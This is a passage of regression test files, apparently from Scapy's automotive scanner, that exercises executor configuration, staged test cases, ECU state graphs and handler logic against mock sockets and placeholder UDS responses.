len(config[\"TestCase1\"].items()) == 5\nassert len(config.MyTestCase.items()) == 4\nassert config.TestCase1[\"verbose\"]\nassert config.TestCase1[\"debug\"]\nassert config.TestCase1[\"local_kwarg\"] == 42\nassert config.TestCase1[\"global_arg\"] == \"Whatever\"\nassert config.TestCase2[\"global_arg\"] == \"Whatever\"\nassert config.MyTestCase[\"global_arg\"] == \"Whatever\"\nassert isinstance(tce.socket, SingleConversationSocket)\n\n\n= Basic tests with default values\n\ntce = Scanner(MockSock())\n\nconfig = tce.configuration  # type: AutomotiveTestCaseExecutorConfiguration\nassert not config.verbose\nassert not config.debug\nassert len(config.test_cases) == 1\nassert len(config.MyTestCase.items()) == 1\nassert isinstance(tce.socket, SingleConversationSocket)\n\n\n= Basic test with stages\n\ndef connector(testcase1, _):\n    scan_range = len(testcase1.results)\n    return {\"verbose\": True, \"scan_range\": scan_range}\n\ntc1 = TestCase1()\ntc2 = TestCase2()\n\npipeline = StagedAutomotiveTestCase([tc1, tc2], [None, connector])\n\ntce = Scanner(MockSock(), test_cases=[pipeline])\n\nconfig = tce.configuration  # type: AutomotiveTestCaseExecutorConfiguration\nassert not config.verbose\nassert not config.debug\nassert len(config.test_cases) == 1\nassert len(config.stages) == 1\nassert len(config.staged_test_cases) == 2\nassert len(config.test_case_clss) == 3\nassert len(config.StagedAutomotiveTestCase.items()) == 1\nassert isinstance(tce.socket, SingleConversationSocket)\n\n= Basic tests with two stages\n\ndef connector(testcase1, testcase2):\n    scan_range = len(testcase1.results)\n    return {\"verbose\": True, \"scan_range\": scan_range}\n\ntc1 = TestCase1()\ntc2 = TestCase2()\n\npipeline = StagedAutomotiveTestCase([tc1, tc2], [None, connector])\n\nclass StagedTest(StagedAutomotiveTestCase):\n    pass\n\npipeline2 = StagedTest([MyTestCase(), MyTestCase()])\n\ntce = Scanner(MockSock(), test_cases=[pipeline, pipeline2], verbose=True)\n\nconfig = tce.configuration  # type: AutomotiveTestCaseExecutorConfiguration\nassert config.verbose\nassert not config.debug\nassert len(config.test_cases) == 2\nassert len(config.stages) == 2\nassert len(config.staged_test_cases) == 4\nassert len(config.test_case_clss) == 5\nassert len(config.StagedAutomotiveTestCase.items()) == 2\nassert len(config.StagedTest.items()) == 2\nassert len(config.TestCase1.items()) == 2\nassert len(config.TestCase2.items()) == 2\nassert len(config.MyTestCase.items()) == 2\n\nassert isinstance(tce.socket, SingleConversationSocket)\n\nassert len(tce.state_paths) == 1\nassert len(tce.final_states) == 1\n\ntce.state_graph.add_edge((tce.final_states[0], EcuState(session=2)))\n\nassert len(tce.state_paths) == 2\nassert len(tce.final_states) == 2\n\nassert not tce.scan_completed\n\n\n= Reset Handler tests\n\nreset_flag = False\n\ndef reset_func():\n    global reset_flag\n    reset_flag = True\n\ntce = Scanner(MockSock(), reset_handler=reset_func)\ntce.target_state = EcuState(session=2)\ntce.reset_target()\n\nassert reset_flag\nassert tce.target_state == EcuState(session=1)\n\n= Reset Handler tests 2\n\ntce = Scanner(MockSock())\ntce.target_state = EcuState(session=2)\ntce.reset_target()\n\nassert tce.target_state == EcuState(session=1)\n\n= Reconnect Handler tests\n\nclass MockSocket2:\n    closed = False\n\ndef reconnect_func():\n    return MockSocket2()\n\ntce = Scanner(MockSock(), reconnect_handler=reconnect_func)\n\nprint(tce.socket)\nprint(repr(tce.socket))\nassert isinstance(tce.socket._inner, MockSock)\ntce.reconnect()\nassert isinstance(tce.socket._inner, MockSocket2)\n\n= Reconnect Handler tests 2\n\nclosed = False\n\nclass MockSocket1:\n    closed = False\n    def close(self):\n        global closed\n        closed = True\n\nclass MockSocket2:\n    closed = False\n\ndef reconnect_func():\n    return MockSocket2()\n\ntce = Scanner(MockSocket1(), reconnect_handler=reconnect_func)\n\nprint(tce.socket)\nprint(repr(tce.socket))\nassert isinstance(tce.socket._inner, MockSocket1)\ntce.reconnect()\nassert isinstance(tce.socket._inner, MockSocket2)\nassert closed\n\n= TestCase execute\n\npre_exec = False\nexecute = False\npost_exec = False\n\nclass TestCase42(MyTestCase):\n    def pre_execute(self,\n                    socket,  # type: _SocketUnion\n                    state,  # type: EcuState\n                    global_configuration  # type: AutomotiveTestCaseExecutorConfiguration  # noqa: E501\n                    ):  # type: (...) -> None\n        global pre_exec\n        assert state == EcuState(session=1)\n        assert global_configuration.TestCase42[\"local_kwarg\"] == 42\n        assert global_configuration.TestCase42[\"verbose\"]\n        assert global_configuration.TestCase42[\"debug\"]\n        global_configuration.TestCase42[\"local_kwarg\"] = 1\n        pre_exec = True\n    def execute(self, socket, state, local_kwarg, verbose, debug, **kwargs):\n        global execute\n        assert verbose\n        assert debug\n        assert local_kwarg == 1\n        execute = True\n    def post_execute(self,\n                     socket,  # type: _SocketUnion\n                     state,  # type: EcuState\n                     global_configuration  # type: AutomotiveTestCaseExecutorConfiguration  # noqa: E501\n                     ):  # type: (...) -> None\n        global post_exec\n        assert global_configuration.TestCase42[\"local_kwarg\"] == 1\n        assert global_configuration.TestCase42[\"verbose\"]\n        assert global_configuration.TestCase42[\"debug\"]\n        post_exec = True\n\n\ntce = Scanner(MockSock(), test_cases=[TestCase42],\n              verbose=True, debug=True,\n              TestCase42_kwargs={\"local_kwarg\": 42})\n\ntce.execute_test_case(TestCase42())\nassert pre_exec == execute == post_exec == True\n\n\n= TestCase execute StateGenerator\n\ntransition_done = False\n\ndef transition_func(sock, conf, kwargs):\n    assert kwargs[\"arg42\"] == \"hello\"\n    assert conf.TestCase43[\"local_kwarg\"] == \"world\"\n    global transition_done\n    transition_done = True\n    return True\n\nclass TestCase43(MyTestCase, StateGenerator):\n    def get_new_edge(self, socket, config):\n        assert config.TestCase43[\"local_kwarg\"] == \"world\"\n        return EcuState(session=1), EcuState(session=2)\n    def get_transition_function(self, socket, edge):\n        assert edge[0] == EcuState(session=1)\n        assert edge[1] == EcuState(session=2)\n        return transition_func, {\"arg42\": \"hello\"}, None\n    def execute(self, socket, state, **kwargs):\n        return True\n\n\ntce = Scanner(MockSock(), test_cases=[TestCase43],\n              TestCase43_kwargs={\"local_kwarg\": \"world\"})\n\nassert len(tce.final_states) == 1\n\ntce.execute_test_case(TestCase43())\n\nassert len(tce.final_states) == 2\nassert EcuState(session=1) in tce.final_states and EcuState(session=2) in tce.final_states\nassert tce.enter_state(EcuState(session=1), EcuState(session=2))\nassert transition_done\n\n\n= TestCase execute StateGenerator no edge\n\nclass TestCase43(MyTestCase, StateGenerator):\n    def get_new_edge(self, socket, config):\n        assert config.TestCase43[\"local_kwarg\"] == \"world\"\n        return None\n    def execute(self, socket, state, **kwargs):\n        return True\n    def get_transition_function(self, socket, edge):\n        raise NotImplementedError()\n\ntce = Scanner(MockSock(), test_cases=[TestCase43],\n              TestCase43_kwargs={\"local_kwarg\": \"world\"})\n\nassert len(tce.final_states) == 1\n\ntce.execute_test_case(TestCase43())\n\nassert len(tce.final_states) == 1\nassert EcuState(session=1) in tce.final_states\nassert not tce.enter_state(EcuState(session=1), EcuState(session=2))\n\n\n= TestCase execute StateGenerator with cleanupfunc\n\ntransition_done = False\ncleanup_done = False\n\ndef transition_func(sock, conf, kwargs):\n    assert kwargs[\"arg42\"] == \"hello\"\n    assert conf.TestCase43[\"local_kwarg\"] == \"world\"\n    global transition_done\n    transition_done = True\n    return True\n\ndef cleanup_func(sock, conf):\n    assert conf.TestCase43[\"local_kwarg\"] == \"world\"\n    global cleanup_done\n    cleanup_done = True\n    return True\n\nclass TestCase43(MyTestCase, StateGenerator):\n    def get_new_edge(self, socket, config):\n        assert config.TestCase43[\"local_kwarg\"] == \"world\"\n        return EcuState(session=1), EcuState(session=2)\n    def get_transition_function(self, socket, edge):\n        assert edge[0] == EcuState(session=1)\n        assert edge[1] == EcuState(session=2)\n        return transition_func, {\"arg42\": \"hello\"}, cleanup_func\n    def execute(self, socket, state, **kwargs):\n        return True\n\n\ntce = Scanner(MockSock(), test_cases=[TestCase43],\n              TestCase43_kwargs={\"local_kwarg\": \"world\"})\n\nassert len(tce.final_states) == 1\n\ntce.execute_test_case(TestCase43())\n\nassert len(tce.final_states) == 2\nassert EcuState(session=1) in tce.final_states and EcuState(session=2) in tce.final_states\nassert not len(tce.cleanup_functions)\nassert tce.enter_state(EcuState(session=1), EcuState(session=2))\nassert transition_done\nassert len(tce.cleanup_functions)\ntce.cleanup_state()\nassert not len(tce.cleanup_functions)\nassert cleanup_done\n\n\n= TestCase execute StateGenerator with not callable cleanupfunc\n\ntransition_done = False\n\ndef transition_func(sock, conf, kwargs):\n    assert kwargs[\"arg42\"] == \"hello\"\n    assert conf.TestCase43[\"local_kwarg\"] == \"world\"\n    global transition_done\n    transition_done = True\n    return True\n\nclass TestCase43(MyTestCase, StateGenerator):\n    def get_new_edge(self, socket, config):\n        assert config.TestCase43[\"local_kwarg\"] == \"world\"\n        return EcuState(session=1), EcuState(session=2)\n    def get_transition_function(self, socket, edge):\n        assert edge[0] == EcuState(session=1)\n        assert edge[1] == EcuState(session=2)\n        return transition_func, {\"arg42\": \"hello\"}, \"fake\"\n    def execute(self, socket, state, **kwargs):\n        return True\n\n\ntce = Scanner(MockSock(), test_cases=[TestCase43],\n              TestCase43_kwargs={\"local_kwarg\": \"world\"})\n\nassert len(tce.final_states) == 1\n\ntce.execute_test_case(TestCase43())\n\nassert len(tce.final_states) == 2\nassert EcuState(session=1) in tce.final_states and EcuState(session=2) in tce.final_states\nassert not len(tce.cleanup_functions)\nassert tce.enter_state(EcuState(session=1), EcuState(session=2))\nassert transition_done\nassert len(tce.cleanup_functions)\ntce.cleanup_state()\nassert not len(tce.cleanup_functions)\n\n= TestCase execute StateGenerator with cleanupfunc negative return\n\ntransition_done = False\ncleanup_done = False\n\ndef transition_func(sock, conf, kwargs):\n    assert kwargs[\"arg42\"] == \"hello\"\n    assert conf.TestCase43[\"local_kwarg\"] == \"world\"\n    global transition_done\n    transition_done = True\n    return True\n\ndef cleanup_func(sock, conf):\n    assert conf.TestCase43[\"local_kwarg\"] == \"world\"\n    global cleanup_done\n    cleanup_done = True\n    return False\n\nclass TestCase43(MyTestCase, StateGenerator):\n    def get_new_edge(self, socket, config):\n        assert config.TestCase43[\"local_kwarg\"] == \"world\"\n        return EcuState(session=1), EcuState(session=2)\n    def get_transition_function(self, socket, edge):\n        assert edge[0] == EcuState(session=1)\n        assert edge[1] == EcuState(session=2)\n        return transition_func, {\"arg42\": \"hello\"}, cleanup_func\n    def execute(self, socket, state, **kwargs):\n        return True\n\n\ntce = Scanner(MockSock(), test_cases=[TestCase43],\n              TestCase43_kwargs={\"local_kwarg\": \"world\"})\n\nassert len(tce.final_states) == 1\n\ntce.execute_test_case(TestCase43())\n\nassert len(tce.final_states) == 2\nassert EcuState(session=1) in tce.final_states and EcuState(session=2) in tce.final_states\nassert not len(tce.cleanup_functions)\nassert tce.enter_state(EcuState(session=1), EcuState(session=2))\nassert transition_done\nassert len(tce.cleanup_functions)\ntce.cleanup_state()\nassert not len(tce.cleanup_functions)\nassert cleanup_done\n\n\n= TestCase execute StateGenerator with cleanupfunc and path\n\ntransition_done1 = False\ncleanup_done1 = False\ntransition_done2 = False\ncleanup_done2 = False\n\ntransition_error = False\n\n\ndef transition_func1(sock, conf, kwargs):\n    global transition_done1\n    transition_done1 = True\n    return True\n\ndef cleanup_func1(sock, conf):\n    global cleanup_done1\n    cleanup_done1 = True\n    return True\n\ndef transition_func2(sock, conf, kwargs):\n    global transition_done2\n    transition_done2 = True\n    return not transition_error\n\ndef cleanup_func2(sock, conf):\n    global cleanup_done2\n    cleanup_done2 = True\n    return True\n\nclass TestCase43(MyTestCase, StateGenerator):\n    def get_new_edge(self, socket, config):\n        return EcuState(session=1), EcuState(session=2)\n    def get_transition_function(self, socket, edge):\n        return transition_func1, {\"arg42\": \"hello\"}, cleanup_func1\n    def execute(self, socket, state, **kwargs):\n        return True\n\nclass TestCase44(MyTestCase, StateGenerator):\n    def get_new_edge(self, socket, config):\n        return EcuState(session=2), EcuState(session=3)\n    def get_transition_function(self, socket, edge):\n        return transition_func2, None, cleanup_func2\n    def execute(self, socket, state, **kwargs):\n        return True\n\nreset_done = False\n\ndef reset_func():\n    global reset_done\n    reset_done = True\n\nreconnect_done = False\n\ndef reconnect_func():\n    global reconnect_done\n    reconnect_done = True\n    return MockSock()\n\ntce = Scanner(MockSock(), test_cases=[TestCase43, TestCase44],\n              reset_handler=reset_func, reconnect_handler=reconnect_func)\n\nassert len(tce.final_states) == 1\n\ntce.execute_test_case(TestCase43())\n\nassert len(tce.final_states) == 2\nassert EcuState(session=1) in tce.final_states and EcuState(session=2) in tce.final_states\ntce.execute_test_case(TestCase44())\nassert len(tce.final_states) == 3\nassert EcuState(session=3) in tce.final_states and EcuState(session=2) in tce.final_states\n\nassert not len(tce.cleanup_functions)\nassert tce.enter_state_path([EcuState(session=1), EcuState(session=2), EcuState(session=3)])\nassert transition_done1\nassert transition_done2\nassert len(tce.cleanup_functions) == 2\nassert reconnect_done\nassert reset_done\ntce.cleanup_state()\nassert cleanup_done1\nassert cleanup_done2\n\ntry:\n    tce.enter_state_path([EcuState(session=3)])\n    assert False\nexcept Scapy_Exception:\n    assert True\n\n= Test downrate edge\n\ntransition_done1 = False\ncleanup_done1 = False\n\ntce = Scanner(MockSock(), test_cases=[TestCase43, TestCase44],\n              reset_handler=reset_func, reconnect_handler=reconnect_func)\n\nassert len(tce.final_states) == 1\ntce.execute_test_case(TestCase43())\nassert len(tce.final_states) == 2\nassert EcuState(session=1) in tce.final_states and EcuState(session=2) in tce.final_states\ntce.execute_test_case(TestCase44())\nassert len(tce.final_states) == 3\nassert EcuState(session=3) in tce.final_states and EcuState(session=2) in tce.final_states\n\nassert not len(tce.cleanup_functions)\ntransition_error = True\nassert not tce.enter_state_path([EcuState(session=1), EcuState(session=2), EcuState(session=3)])\nassert transition_done1\nassert cleanup_done1\nassert len(tce.cleanup_functions) == 0\nassert tce.state_graph.weights[(EcuState(session=1), EcuState(session=2))] == 1\nassert tce.state_graph.weights[(EcuState(session=2), EcuState(session=3))] == 2\n\n\n= TestCase execute TestCaseGenerator\n\ntc_executed = False\n\nclass GeneratedTestCase(MyTestCase):\n    def execute(self, socket, state, **kwargs):\n        assert kwargs[\"local_kwarg\"] == \"world\"\n        global tc_executed\n        tc_executed = True\n        return True\n\n\nclass TestCase43(MyTestCase, TestCaseGenerator):\n    def execute(self, socket, state, **kwargs):\n        return True\n    def get_generated_test_case(self):\n        return GeneratedTestCase()\n\n\ntce = Scanner(MockSock(), test_cases=[TestCase43],\n              GeneratedTestCase_kwargs={\"local_kwarg\": \"world\"})\n\nassert len(tce.final_states) == 1\nassert len(tce.configuration.test_cases) == 1\n\ntce.execute_test_case(tce.configuration.test_cases[0])\n\nassert len(tce.configuration.test_cases) == 2\n\ntce.execute_test_case(tce.configuration.test_cases[1])\n\nassert tc_executed\n\n= TestCase scan timeout\n\ntc_executed = False\n\nclass GeneratedTestCase(MyTestCase):\n    def execute(self, socket, state, **kwargs):\n        assert kwargs[\"local_kwarg\"] == \"world\"\n        global tc_executed\n        tc_executed = True\n        return True\n\n\ntce = Scanner(MockSock(), test_cases=[GeneratedTestCase],\n              GeneratedTestCase_kwargs={\"local_kwarg\": \"world\"})\n\nassert len(tce.final_states) == 1\nassert len(tce.configuration.test_cases) == 1\n\ntce.scan(-1)\n\nassert not tc_executed\n\n\n= TestCase scan\n\ntc_executed = False\n\nclass GeneratedTestCase(MyTestCase):\n    def execute(self, socket, state, **kwargs):\n        assert kwargs[\"local_kwarg\"] == \"world\"\n        global tc_executed\n        tc_executed = True\n        self._state_completed[state] = True\n        return True\n\n\nclass TestCase43(MyTestCase, TestCaseGenerator):\n    def execute(self, socket, state, **kwargs):\n        self._state_completed[state] = True\n        return True\n    def get_generated_test_case(self):\n        return GeneratedTestCase()\n\n\ntce = Scanner(MockSock(), test_cases=[TestCase43],\n              GeneratedTestCase_kwargs={\"local_kwarg\": \"world\"})\n\nassert len(tce.final_states) == 1\nassert len(tce.configuration.test_cases) == 1\n\ntce.scan()\n\nassert len(tce.configuration.test_cases) == 2\nassert tc_executed\nassert tce.scan_completed\n\n= Test supported responses\n\nclass MyTestCase1(AutomotiveTestCase):\n    _description = \"MyTestCase1\"\n    _supported_kwargs = copy.copy(AutomotiveTestCase._supported_kwargs)\n    _supported_kwargs.update({\n        'stop_event': (threading.Event, None),  # type: ignore\n    })\n    @property\n    def supported_responses(self):\n        return [EcuResponse(EcuState(session=2),            responses=UDS() / UDS_RDBIPR(dataIdentifier=2) / Raw(b\"de\")),\n                EcuResponse([EcuState(session=2), EcuState(security_level=6)],            responses=UDS() / UDS_RDBIPR(dataIdentifier=3) / Raw(b\"dea2\")),\n                EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_NR(negativeResponseCode=0x7f, requestServiceId=0x13))]\n\n\nclass MyTestCase2(AutomotiveTestCase):\n    _description = \"MyTestCase2\"\n    _supported_kwargs = copy.copy(AutomotiveTestCase._supported_kwargs)\n    _supported_kwargs.update({\n        'stop_event': (threading.Event, None),  # type: ignore\n    })\n    @property\n    def supported_responses(self):\n        return [EcuResponse(EcuState(session=2),            responses=UDS() / UDS_RDBIPR(dataIdentifier=5) / Raw(b\"deadbeef1\")),\n                EcuResponse(EcuState(session=2),            responses=UDS() / UDS_RDBIPR(dataIdentifier=6) / Raw(b\"deadbeef2\")),\n                EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_NR(negativeResponseCode=0x10, requestServiceId=0x11))]\n\n\ntce = Scanner(MockSock(), test_cases=[MyTestCase1(), MyTestCase2()])\n\nresps = tce.supported_responses\n\nassert len(resps) == 6\nassert resps[0].responses[0].service != 0x7f\nassert resps[1].responses[0].service != 0x7f\nassert resps[2].responses[0].service != 0x7f\nassert resps[3].responses[0].service != 0x7f\n\nassert resps[4].responses[0].service == 0x7f\nassert resps[5].responses[0].service == 0x7f\n\nassert resps[0].responses[0].load == b\"dea2\"\nassert resps[1].responses[0].load == b\"deadbeef1\"\nassert resps[2].responses[0].load == b\"deadbeef2\"\nassert resps[3].responses[0].load == b\"de\"\nassert resps[4].responses[0].requestServiceId == 0x13\nassert resps[5].responses[0].requestServiceId == 0x11\n\n= Test show testcases\n\ntry:\n    tce.show_testcases()\n    assert True\nexcept Exception:\n    assert False\n\n\ntry:\n    tce.show_testcases_status()\n    assert True\nexcept Exception:\n    assert False\n\n= Test StateGeneratingServiceEnumerator\n\nclass TestCase43(MyTestCase, StateGeneratingServiceEnumerator):\n    def execute(self, socket, state, **kwargs):\n        return True\n    @property\n    def results(self):  # type: () -> List[_AutomotiveTestCaseScanResult]\n        return [_AutomotiveTestCaseScanResult(EcuState(session=1), UDS()/UDS_DSC(b\"\\x03\"), UDS()/UDS_DSCPR(b\"\\x03\"), 1.1, 1.2)]\n\ntce = Scanner(MockSock(), test_cases=[TestCase43])\n\nassert len(tce.final_states) == 1\n\ntce.execute_test_case(TestCase43())\n\nassert len(tce.final_states) == 2\nassert EcuState(session=1) in tce.final_states and EcuState(session=3) in tce.final_states\n\ntf, args, cf = tce.state_graph.get_transition_tuple_for_edge((EcuState(session=1), EcuState(session=3)))\n\nassert cf is None\nassert tf is not None\nassert len(args) == 2\nassert args[\"req\"] == UDS()/UDS_DSC(b\"\\x03\")\nassert \"diagnosticSessionType\" in args[\"desc\"] and \"extendedDiagnosticSession\" in args[\"desc\"]\n\nassert not tce.enter_state(EcuState(session=1), EcuState(session=3))\n"
  },
  {
    "path": "test/contrib/automotive/scanner/graph.uts",
    "content": "% Regression tests for graph\n\n+ Load general modules\n\n= Load contribution layer\n\nfrom scapy.contrib.automotive.scanner.graph import *\nimport pickle\nimport io\n\n+ Graph tests\n\n= Basic test\n\ng = Graph()\ng.add_edge((\"1\", \"1\"))\ng.add_edge((\"1\", \"2\"))\ng.add_edge((\"2\", \"3\"))\ng.add_edge((\"3\", \"4\"))\ng.add_edge((\"4\", \"4\"))\n\nassert \"1\" in g.nodes\nassert \"2\" in g.nodes\nassert \"3\" in g.nodes\nassert \"4\" in g.nodes\nassert len(g.nodes) == 4\nassert g.dijkstra(g, \"1\", \"4\") == [\"1\", \"2\", \"3\", \"4\"]\n\n= Shortest path test\n\ng = Graph()\ng.add_edge((\"1\", \"1\"))\ng.add_edge((\"1\", \"2\"))\ng.add_edge((\"2\", \"3\"))\ng.add_edge((\"3\", \"4\"))\ng.add_edge((\"4\", \"4\"))\n\nassert g.dijkstra(g, \"1\", \"4\") == [\"1\", \"2\", \"3\", \"4\"]\n\ng.add_edge((\"1\", \"4\"))\n\nassert g.dijkstra(g, \"1\", \"4\") == [\"1\", \"4\"]\n\ng.add_edge((\"3\", \"5\"))\ng.add_edge((\"5\", \"6\"))\n\nprint(g.dijkstra(g, \"1\", \"6\"))\n\nassert g.dijkstra(g, \"1\", \"6\") == [\"1\", \"2\", \"3\", \"5\", \"6\"] or \\\n       g.dijkstra(g, \"1\", \"6\") == ['1', '4', '3', '5', '6']\n\ng.add_edge((\"2\", \"5\"))\n\nprint(g.dijkstra(g, \"1\", \"6\"))\n\nassert g.dijkstra(g, \"1\", \"6\") == [\"1\", \"2\", \"5\", \"6\"]\n\n= graph add transition function\n\ng.add_edge((\"4\", \"6\"), transition_function=(str, str))\n\nassert g.dijkstra(g, \"1\", \"6\") == [\"1\", \"4\", \"6\"]\n\n= graph pickle\n\nf = io.BytesIO()\n\npickle.dump(g, f)\nunp = pickle.loads(f.getvalue())\n\nassert unp.dijkstra(g, \"1\", \"6\") == [\"1\", \"4\", \"6\"]\n\nf1, f2 = unp.get_transition_tuple_for_edge((\"4\", \"6\"))\nassert f1==f2\nassert \"1\" == f1(1)\n"
  },
  {
    "path": "test/contrib/automotive/scanner/staged_test_case.uts",
    "content": "% Regression tests for automotive scanner staged test_case\n\n+ Load general modules\n\n= Load contribution layer\n\nfrom scapy.contrib.automotive.scanner.test_case import AutomotiveTestCase\nfrom scapy.contrib.automotive.ecu import EcuState, EcuResponse\nfrom scapy.contrib.automotive.scanner.staged_test_case import StagedAutomotiveTestCase\nfrom scapy.contrib.automotive.uds import UDS, UDS_RDBIPR, UDS_NR\nfrom scapy.packet import Raw\n\n+ Basic checks\n\n= Definition of Test classes\n\n\nclass MyTestCase1(AutomotiveTestCase):\n    _description = \"MyTestCase1\"\n    @property\n    def supported_responses(self):\n        return [EcuResponse(EcuState(session=2),            responses=UDS() / UDS_RDBIPR(dataIdentifier=2) / Raw(b\"de\")),\n                EcuResponse([EcuState(session=2), EcuState(security_level=6)],            responses=UDS() / UDS_RDBIPR(dataIdentifier=3) / Raw(b\"dea2\")),\n                EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_NR(negativeResponseCode=0x7f, requestServiceId=0x13))]\n\n\nclass MyTestCase2(AutomotiveTestCase):\n    _description = \"MyTestCase2\"\n    @property\n    def supported_responses(self):\n        return [EcuResponse(EcuState(session=2),            responses=UDS() / UDS_RDBIPR(dataIdentifier=5) / Raw(b\"deadbeef1\")),\n                EcuResponse(EcuState(session=2),            responses=UDS() / UDS_RDBIPR(dataIdentifier=6) / Raw(b\"deadbeef2\")),\n                EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_NR(negativeResponseCode=0x10, requestServiceId=0x11))]\n\n\n= Create instance of stage test\n\ntc1 = MyTestCase1()\ntc2 = MyTestCase2()\n\nmt = StagedAutomotiveTestCase([tc1, tc2])\n\nassert len(mt.test_cases) == 2\nassert mt.current_test_case == tc1\nassert mt.current_connector == None\nassert mt.previous_test_case == None\nassert mt[0] == tc1\nassert mt[1] == tc2\n\n= Check completion\n\ntc1 = MyTestCase1()\ntc2 = MyTestCase2()\n\nmt = StagedAutomotiveTestCase([tc1, tc2])\n\ntc1._state_completed[EcuState(session=1)] = False\ntc2._state_completed[EcuState(session=1)] = False\n\nassert not mt.completed\nassert not mt.has_completed(EcuState(session=1))\n\ntc1._state_completed[EcuState(session=1)] = True\nassert mt.current_test_case == tc1\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert mt.current_test_case == tc2\nassert not mt.completed\n\ntc2._state_completed[EcuState(session=1)] = True\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert mt.completed\nassert mt.has_completed(EcuState(session=1))\n\n= Check completion 2\n\ntc1 = MyTestCase1()\ntc2 = MyTestCase2()\n\nmt = StagedAutomotiveTestCase([tc1, tc2])\n\ntc1._state_completed[EcuState(session=1)] = False\ntc2._state_completed[EcuState(session=1)] = False\n\nassert not mt.completed\nassert not mt.has_completed(EcuState(session=1))\n\ntc1._state_completed[EcuState(session=1)] = True\nassert mt.current_test_case == tc1\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\ntc1._state_completed[EcuState(session=1)] = False\nassert not mt.has_completed(EcuState(session=1))\ntc1._state_completed[EcuState(session=1)] = True\nassert mt.current_test_case == tc1\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\n\nassert mt.current_test_case == tc2\nassert not mt.completed\n\ntc2._state_completed[EcuState(session=1)] = True\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert mt.completed\nassert mt.has_completed(EcuState(session=1))\n\n= Check supported responses\n\ntc1 = MyTestCase1()\ntc2 = MyTestCase2()\ntx = StagedAutomotiveTestCase([tc1, tc2])\nresps = tx.supported_responses\n\nassert len(resps) == 6\nassert resps[0].responses[0].service != 0x7f\nassert resps[1].responses[0].service != 0x7f\nassert resps[2].responses[0].service != 0x7f\nassert resps[3].responses[0].service != 0x7f\n\nassert resps[4].responses[0].service == 0x7f\nassert resps[5].responses[0].service == 0x7f\n\nassert resps[0].responses[0].load == b\"dea2\"\nassert resps[1].responses[0].load == b\"deadbeef1\"\nassert resps[2].responses[0].load == b\"deadbeef2\"\nassert resps[3].responses[0].load == b\"de\"\nassert resps[4].responses[0].requestServiceId == 0x13\nassert resps[5].responses[0].requestServiceId == 0x11\n\n\n= Check connector\n\ntest_storage_tc2 = None\n\nclass MyTestCase2(AutomotiveTestCase):\n    _description = \"MyTestCase2\"\n    def pre_execute(self, socket, state, global_configuration):\n        global test_storage_tc2\n        print(global_configuration)\n        test_storage_tc2 = global_configuration\n    def supported_responses(self):\n        return []\n\ntest_storage_tc3 = None\n\nclass MyTestCase3(AutomotiveTestCase):\n    _description = \"MyTestCase3\"\n    def pre_execute(self, socket, state, global_configuration):\n        global test_storage_tc3\n        print(global_configuration)\n        test_storage_tc3 = global_configuration\n    def supported_responses(self):\n        return []\n\ndef con1(tc1, tc2):\n    assert isinstance(tc1, MyTestCase1)\n    assert isinstance(tc2, MyTestCase2)\n    return {\"tc2_con_config\": 42}\n\ndef con2(tc2, tc3):\n    assert isinstance(tc2, MyTestCase2)\n    assert isinstance(tc3, MyTestCase3)\n    return {\"tc3_con_config\": \"deadbeef\"}\n\ntc1 = MyTestCase1()\ntc2 = MyTestCase2()\ntc3 = MyTestCase3()\n\nassert test_storage_tc2 is None\nassert test_storage_tc3 is None\n\nmt = StagedAutomotiveTestCase([tc1, tc2, tc3], [None, con1, con2])\n\nassert mt.current_test_case == tc1\nassert mt.current_connector == None\n\n#Move stage forward\ntc1._state_completed[EcuState(session=1)] = True\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\n\nassert mt.current_test_case == tc2\nassert mt.current_connector == con1\n\nmt.pre_execute(None, None, {\"MyTestCase2\": {\"verbose\": True, \"config\": \"whatever\"}})\n\nassert test_storage_tc2[\"MyTestCase2\"][\"verbose\"]\nassert test_storage_tc2[\"MyTestCase2\"][\"tc2_con_config\"] == 42\nassert test_storage_tc2[\"MyTestCase2\"][\"config\"] == \"whatever\"\n\n#Move stage forward\ntc2._state_completed[EcuState(session=1)] = True\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\nassert not mt.has_completed(EcuState(session=1))\n\nassert mt.current_test_case == tc3\nassert mt.current_connector == con2\n\nmt.pre_execute(None, None, {})\n\nassert test_storage_tc3[\"MyTestCase3\"][\"tc3_con_config\"] == \"deadbeef\"\n\n= Check show\n\ndump = mt.show(dump=True)\n\nassert \"MyTestCase1\" in dump\nassert \"MyTestCase2\" in dump\nassert \"MyTestCase3\" in dump\n\n= Check len\n\nassert len(mt) == 3\n\n= Check generator functions\n\nassert mt.get_generated_test_case() == None\nassert mt.get_new_edge(None, None) == None\nassert mt.get_transition_function(None, None) == None\n\n\n\n\n\n"
  },
  {
    "path": "test/contrib/automotive/scanner/test_case.uts",
